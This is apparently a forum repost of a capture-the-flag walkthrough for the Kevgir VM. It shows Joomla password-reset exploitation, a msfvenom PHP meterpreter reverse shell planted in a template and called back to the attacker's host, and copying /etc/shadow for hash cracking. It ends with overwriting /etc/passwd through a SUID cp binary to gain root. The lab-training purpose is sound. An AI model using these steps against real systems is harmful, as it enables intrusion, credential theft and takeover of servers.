• We just launched and are currently in beta. Join us as we build and grow the community.

Hack the Kevgir VM (CTF Challenge)

jarvisse

Runtime Environment Engineer
J Rep
0
0
0
Rep
0
J Vouches
0
0
0
Vouches
0
Posts
133
Likes
154
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 300 XP
In this article, we will walkthrough a root2boot penetration testing challenge i.e Kevgir. Kevgir is a vulnerable framework, based on the concept of CTF(Capture The Flag). This lab can be solved in multiple ways, one of them is used in this article.

Penetrating Methodologies
  • Network Scanning (Nmap, netdiscover)
  • Joomla based CMS Scanning CMS (Joomscan)
  • Exploiting target (exploit 6234)
  • Login into the admin console
  • Generate PHP Backdoor (Msfvenom)
  • Upload and execute a backdoor
  • Reverse connection (Metasploit)
  • Import python one-liner for proper TTY shell
  • Find SUID Binaries for Privilege Escalation
  • Abusing shadow & password file
  • Get Root access and capture the flag.

Let’s Start!!!

First Download Kevgir Vm From Here

Start off with finding the target using :

Code:
netdiscover

1.png


Our target is 192.168.1.102 Now scan the target with nmap :

Code:
nmap -p- -A 192.168.1.102

With the nmap scan, you can see the ports 80, 139, 2049, 6379, 8080, 8081, 9000, 40383 and many others are open as you can see in the image.

2.png


Also, if you observe then you can see port forwarding is used here e.g. HTTP service is open on port number 80, 8080 and 8081. So, let us try open our target on 80 and 8081 port.

On port 80 Our target opens as the following:

3.png


And on port 8081 opens on :

4.png


The cms of the website are Joomla and this version of Joomla, as everyone knows, is exploitable. We will scan the said target with joomscan :

Code:
joomscan -u 
http://192.168.1.102:8081

5.png


Applying the joomscan will show all the vulnerable exploits. Here we can observe the highlighted text pointing towards “Admin Password changed” seems to be vulnerable against exploit 6234. Now if you look closely the exploit number 6234 will show you the steps to exploit the certain vulnerability.

6.png


According to the said, go for exploring the following URL:

Code:
192.168.1.102:8081/index.php?optiona=com_user&view=reset&layout=confirm

Here, it will ask you for the token, type an apostrophe (‘) in the token adjacent text box.

7.png


It will redirect you to a page where it will ask you to set up a new password.

8.png


After setting up the new password, login with the username and the password that you had just set.

9.png


Now that you are logged in, go to the Extensions menu and select Template Manager from the drop-down menu.

10.png


Then choose Extensions > Template Manager > rhuk_milkway > Edit HTML.

12.png


Inside this, we can add our own PHP code but instead of editing genuine PHP for new template we will add malicious PHP code.

13.png


Create the malicious code that you are going to upload via msfvenom.

Code:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw

On the other hand run multi/handler inside the Metasploit framework

14.1.png


Copy the code from >?php to die(); and Paste the code inside HTML editor and click on save button.

14.png


Meanwhile, return to the Metasploit terminal and wait for the metepreter session by exploiting multi handler.

Code:
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit

From given below image you can observe Meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation.

Code:
meterpreter > sysinfo
meterpreter > shell

15.png


Then to access proper TTY shell we had import python one line script by typing following:

Code:
python -c 'import pty;pty.spawn("/bin/bash")'

Now for privilege escalation either we can use find command to enumerate enabled SUID bit for any system binaries or we move into the etc/bin to enumerate enabled SUID bit any binaries file.

Code:
find / -perm -u=s -type f 2>/dev/null
or
cd /etc/bin
ls -al

Hence we can clearly observe the SUID bit is set for cp for copy command, to copy any file which required higher privilege to perform read/write operation upon them such as etc/passwd & etc/shadow files.

16.png


Therefore we copied etc/shadow inside tmp and open it inside /tmp directory. The shadow files hold encrypted password of users and we are have copied the hash password for user: admin as shown.

17.png


Now we have pasted the above-copied text in an empty document and used John the ripper for cracking this hash value. As result, you can observe the password: admin for user: admin. This method is known as SUID binaries privilege escalation, for more detail read this article.

18.png


But the task is not completed yet, this boot to root challenge and still, we are lacking root privilege. Now open the password file with help of cat where you will find an entry for admin. Now we know the admin user’s password and by manipulating his entries, we can increase his privileges and do so copy the whole content of this file.

19.png


Paste it into an empty text file, now modify UID: 1002 & GID: 1002 into UID: 0 & GID: 0 for adding admin into root group member and saved as passwd so that we can replace original passwd file from our modified passwd file.

20.png


Download the modified password file inside /tmp directory with help of wget as shown.

Code:
wget http://192.168.1.108/passwd

Now replace the content of the original passwd file from our modified passwd file with help of copy command and it is possible due to SUID bit which is enabled for /bin/cp file. After then switch user with help of su command and you will get root access after that as shown below.

Code:
cp passwd /etc/
su admin

21.png


HURRAYYYY!!! We hit the Goal and finish this task. But this lab can be solved in multiple ways for example use kernel privilege escalation for privilege escalation.

Try it by yourself and enjoy the CTF challenges!!

Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact here
 

452,496

334,779

334,787

Top